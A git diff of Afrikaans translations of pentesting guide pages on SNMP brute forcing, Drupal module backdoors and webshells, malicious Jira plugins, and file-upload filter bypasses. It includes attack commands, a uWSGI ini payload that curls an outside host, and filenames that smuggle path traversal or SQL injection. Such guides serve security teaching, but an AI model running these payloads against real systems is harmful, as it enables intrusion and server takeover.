-As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na personeel!** (_vloeiend in geskryf en gesproke Pools vereis_).
+As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
-## Pentesting Cisco Networks
+## Pentesting Cisco Netwerke
**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol staat op gemeenskapsstringe, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie stringe is van kardinale belang omdat hulle toegangsvlakke bepaal, spesifiek **slegs lees (RO) of lees-skrif (RW) regte**. 'n Opmerkelijke aanvalsvlak vir pentesters is die **brute-forcing van gemeenskapsstringe**, met die doel om netwerktoestelle binne te dring.
-'n Praktiese hulpmiddel om sulke brute-force aanvalle uit te voer is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys van potensiële gemeenskapsstringe en die IP-adresse van die teikens vereis:
+'n Praktiese hulpmiddel om sulke brute-force-aanvalle uit te voer is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys van potensiële gemeenskapsstringe en die IP-adresse van die teikens vereis:
```bash
onesixtyone -c communitystrings -i targets
```
@@ -42,7 +42,7 @@ Na konfigurasie, stel hierdie module die aflaai van toestelinstellings direk na
#### `snmp_enum`
-Nog 'n Metasploit module, **`snmp_enum`**, spesialiseer in die insameling van gedetailleerde hardeware-inligting. Dit werk met enige tipe gemeenskaplike string en vereis die teiken se IP-adres vir suksesvolle uitvoering:
+Nog 'n Metasploit-module, **`snmp_enum`**, spesialiseer in die versameling van gedetailleerde hardeware-inligting. Dit werk met enige tipe gemeenskaplike string en vereis die teiken se IP-adres vir suksesvolle uitvoering:
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
@@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
-
+
-As jy belangstel in **hacking loopbaan** en om die onhackable te hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
diff --git a/network-services-pentesting/pentesting-vnc.md b/network-services-pentesting/pentesting-vnc.md
index 0d84aa849..7829358a2 100644
--- a/network-services-pentesting/pentesting-vnc.md
+++ b/network-services-pentesting/pentesting-vnc.md
@@ -15,9 +15,9 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend in geskryf en gesproke Pools vereis_).
+As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na personeel!** (_vloeiend in geskryf en gesproke Pools vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -51,7 +51,7 @@ make
vncpwd
```
You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago.\
-Vir **Windows** kan jy ook hierdie hulpmiddel gebruik: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
+For **Windows** you can also use this tool: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Ek stoor die hulpmiddel hier ook vir maklike toegang:
{% file src="../.gitbook/assets/vncpwd.zip" %}
@@ -60,7 +60,7 @@ Ek stoor die hulpmiddel hier ook vir maklike toegang:
* `port:5900 RFB`
-
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiend Pools geskryf en gesproke vereis_).
diff --git a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md
index 6661d9831..a66ab7d2f 100644
--- a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md
+++ b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md
@@ -6,7 +6,7 @@ Leer & oefen GCP Hacking:
-Ondersteun HackTricks
+Support HackTricks
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@@ -21,7 +21,7 @@ Leer & oefen GCP Hacking: (**Kontroleer**) _PHP Filter_ -> _Stoor konfigurasie_
@@ -80,7 +80,7 @@ RewriteBase /
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
-* Aangesien ons **administratiewe toegang** tot die webwerf het, klik op **`Manage`** en dan **`Extend`** in die sybalk. Klik dan op die **`+ Install new module`** knoppie, en ons sal na die installasiebladsy geneem word, soos `http://drupal-site.local/admin/modules/install`. Blaai na die backdoored Captcha-argief en klik op **`Install`**.
+* Aangesien ons **administratiewe toegang** tot die webwerf het, klik op **`Bestuur`** en dan **`Verleng`** in die sybalk. Klik dan op die **`+ Installeer nuwe module`** knoppie, en ons sal na die installasiebladsy geneem word, soos `http://drupal-site.local/admin/modules/install`. Blaai na die backdoored Captcha-argief en klik op **`Installeer`**.
* Sodra die installasie suksesvol is, blaai na **`/modules/captcha/shell.php`** om opdragte uit te voer.
## Backdooring Drupal met Konfigurasiesinkronisasie
@@ -89,7 +89,7 @@ tar cvf captcha.tar.gz captcha/
### Deel 1 (aktivering van _Media_ en _Media Biblioteek_)
-In die _Extend_ menu (/admin/modules), kan jy aktiveer wat blyk reeds geïnstalleerde plugins te wees. Standaard, blyk die plugins _Media_ en _Media Biblioteek_ nie geaktiveer te wees nie, so kom ons aktiveer hulle.
+In die _Verleng_ menu (/admin/modules), kan jy aktiveer wat blyk reeds geïnstalleerde plugins te wees. Standaard, blyk plugins _Media_ en _Media Biblioteek_ nie geaktiveer te wees nie, so kom ons aktiveer hulle.
Voor aktivering:
@@ -97,7 +97,7 @@ Voor aktivering:
Na aktivering:
-
+
@@ -112,7 +112,7 @@ Ons sal die _Konfigurasiesinkronisasie_ funksie benut om Drupal konfigurasie-inv
Kom ons begin deur die eerste invoer `allow_insecure_uploads` te patch vanaf:
-File: system.file.yml
+Lêer: system.file.yml
```
...
@@ -172,9 +172,9 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
### Deel 3 (benutting van funksie _Voeg Dokument by_)
-Die laaste stap is die eenvoudigste, en is opgebroke in twee sub-stappe. Die eerste is om 'n lêer in .htaccess formaat op te laai om die Apache riglyne te benut en .txt lêers toe te laat om deur die PHP enjin geïnterpreteer te word. Die tweede is om 'n .txt lêer op te laai wat ons payload bevat.
+Die laaste stap is die eenvoudigste, en is opgebroke in twee sub-stappe. Die eerste is om 'n lêer in .htaccess-formaat op te laai om die Apache-riglyne te benut en .txt-lêers toe te laat om deur die PHP-enjin geïnterpreteer te word. Die tweede is om 'n .txt-lêer op te laai wat ons payload bevat.
-File: .htaccess
+Lêer: .htaccess
```
SetHandler application/x-httpd-php
@@ -194,7 +194,7 @@ php_flag engine on
```
Waarom is hierdie truuk cool?
-Omdat wanneer die Webshell (wat ons LICENSE.txt sal noem) op die Webbediener gelaai word, ons ons opdragte via `$_COOKIE` kan oordra en in die Webbediener logs, sal dit as 'n legitieme GET-versoek na 'n tekslêer verskyn.
+Omdat wanneer die Webshell (wat ons LICENSE.txt sal noem) op die Webbediener gelaai word, ons ons opdragte via `$_COOKIE` kan oordra en in die Webbediener logs, sal dit verskyn as 'n legitieme GET-versoek na 'n tekslêer.
Waarom noem ons ons Webshell LICENSE.txt?
diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md
index 3c43e05c3..addf285b5 100644
--- a/network-services-pentesting/pentesting-web/jira.md
+++ b/network-services-pentesting/pentesting-web/jira.md
@@ -15,9 +15,9 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na personeel!** (_vloeiend in geskryf en gesproke Pools vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na personeel!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -120,18 +120,18 @@ Sodra 'n XSS gevind is, kan jy in [**hierdie github repo**](https://github.com/c
[**Hierdie pos**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) beskryf verskillende (kwaadwillige) aksies wat 'n kwaadwillige Jira plugin kan uitvoer. Jy kan [**kode voorbeeld in hierdie repo**](https://github.com/cyllective/malfluence) vind.
-Hierdie is 'n paar van die aksies wat 'n kwaadwillige plugin kan uitvoer:
+Hierdie is sommige van die aksies wat 'n kwaadwillige plugin kan uitvoer:
-* **Plugins vir Administrators wegsteek**: Dit is moontlik om die kwaadwillige plugin weg te steek deur 'n paar front-end javascript in te voeg.
+* **Plugins van Administrators wegsteek**: Dit is moontlik om die kwaadwillige plugin weg te steek deur 'n paar front-end javascript in te voeg.
* **Exfiltrering van Aanhangsels en Bladsye**: Laat toe om toegang te verkry en al die data te exfiltreer.
* **Steling van Sessietokens**: Voeg 'n eindpunt by wat die headers in die antwoord (met die koekie) sal weergee en 'n paar javascript wat dit sal kontak en die koekies sal lek.
* **Opdraguitvoering**: Dit is natuurlik moontlik om 'n plugin te skep wat kode sal uitvoer.
* **Reverse Shell**: Of kry 'n reverse shell.
* **DOM Proxying**: As die confluence binne 'n private netwerk is, sal dit moontlik wees om 'n verbinding deur die blaaier van 'n gebruiker met toegang daartoe te vestig en byvoorbeeld die bediener opdragte deur dit uit te voer.
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
diff --git a/pentesting-web/file-upload/README.md b/pentesting-web/file-upload/README.md
index f651853fb..0ee3c2abe 100644
--- a/pentesting-web/file-upload/README.md
+++ b/pentesting-web/file-upload/README.md
@@ -15,9 +15,9 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in **hacking loopbaan** en om die onhackbare te hack - **ons is besig om aan te stel!** (_vloeiend in geskryf en gesproke Pools vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -36,7 +36,7 @@ Ander nuttige uitbreidings:
### Bypass file extensions checks
-1. As hulle van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofdletters**: _pHp, .pHP5, .PhAr ..._
+1. As hulle van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met 'n paar **hoofdletters**: _pHp, .pHP5, .PhAr ..._
2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):_
* _file.png.php_
* _file.png.Php5_
@@ -64,33 +64,33 @@ Ander nuttige uitbreidings:
* _file.php%00.png%00.jpg_
6. Probeer om die **exec uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
* _ex: file.php.png_
-7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolon karakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos om sy kort lêernaam te gebruik, gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
+7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolon karakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.e.g. “file.asp::$data.”)
8. Probeer om die lêernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
```
# Linux maksimum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier en voeg .png by
-# Laai die lêer op en kontroleer die antwoord hoeveel karakters dit toelaat. Kom ons sê 236
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
+# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-# Maak die payload
+# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
-* Bypass **Content-Type** kontroles deur die **waarde** van die **Content-Type** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
+* Bypass **Content-Type** kontroles deur die **waarde** van die **Content-Type** **header** in te stel op: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* Bypass **magic number** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
`exiftool -Comment="' >> img.png`
-* As **kompressie aan jou beeld** bygevoeg word, byvoorbeeld deur sommige standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
+* As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur 'n paar standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php) te gebruik, sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Die webblad kan ook die **beeld** **hergroott**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
-* 'n Ander tegniek om 'n payload te maak wat **'n beeld hergroott**, is om die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
+* 'n Ander tegniek om 'n payload te maak wat **kompressie oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Ander Truuks om te kontroleer
@@ -102,8 +102,8 @@ AAA<--SNIP 232 A-->AAA.php.png
2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **reeds bestaan**
3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
4. Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos **“…:.jpg”** in **NTFS**. (Windows)
-5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
-6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
+5. Laai 'n lêer in **Windows** op met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
+6. Laai 'n lêer in **Windows** op met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
* Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
### Spesiale uitbreiding truuks
@@ -113,11 +113,11 @@ As jy probeer om lêers na 'n **ASP bediener** op te laai, [kyk na die **.config
Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php lêer** (dit met php uitvoer, of dit binne 'n skrip insluit...)
-Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**.
+Die `.inc` uitbreiding word soms gebruik vir php lêers wat net gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**.
## **Jetty RCE**
-As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
+As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
@@ -125,7 +125,7 @@ As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **n
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
-Remote Command Execution (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
+Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon:
```ini
@@ -145,14 +145,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
-Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ineenstorting of as gevolg van 'n Denial of Service-aanval) of die lêer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tydperke wanneer veranderinge opgespoor word.
+Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ongeluk of as gevolg van 'n Denial of Service-aanval) of die lêer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tydperke wanneer veranderinge opgespoor word.
Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed.
-## **wget Lêer Laai/SSRF Trick**
+## **wget File Upload/SSRF Trick**
-In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **af te laai** en jy kan die **URL** **aandui**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
-Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** sny die lêernames tot **236** karakters. Jy kan 'n lêer aflaai wat "A"\*232+".php"+".gif" genoem word, hierdie lêernaam sal die **kontrole** **omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
+In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **aflaai** en jy kan die **URL** **aangee**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
+Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** verkort die lêernames tot **236** karakters. Jy kan 'n lêer aflaai wat "A"\*232+".php"+".gif" genoem word, hierdie lêernaam sal die **kontrole** **omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
-Note dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan sal wget die herleide lêer met die nuwe naam aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
+Let wel, **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan sal wget die herleide lêer met die nuwe naam aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
## Gereedskap
@@ -183,7 +183,7 @@ Note dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, i
## Van lêeroplaad na ander kwesbaarhede
-* Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversering** te bereik
+* Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversie** te bereik
* Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL-inspuiting** te bereik
* Stel **lêernaam** in op `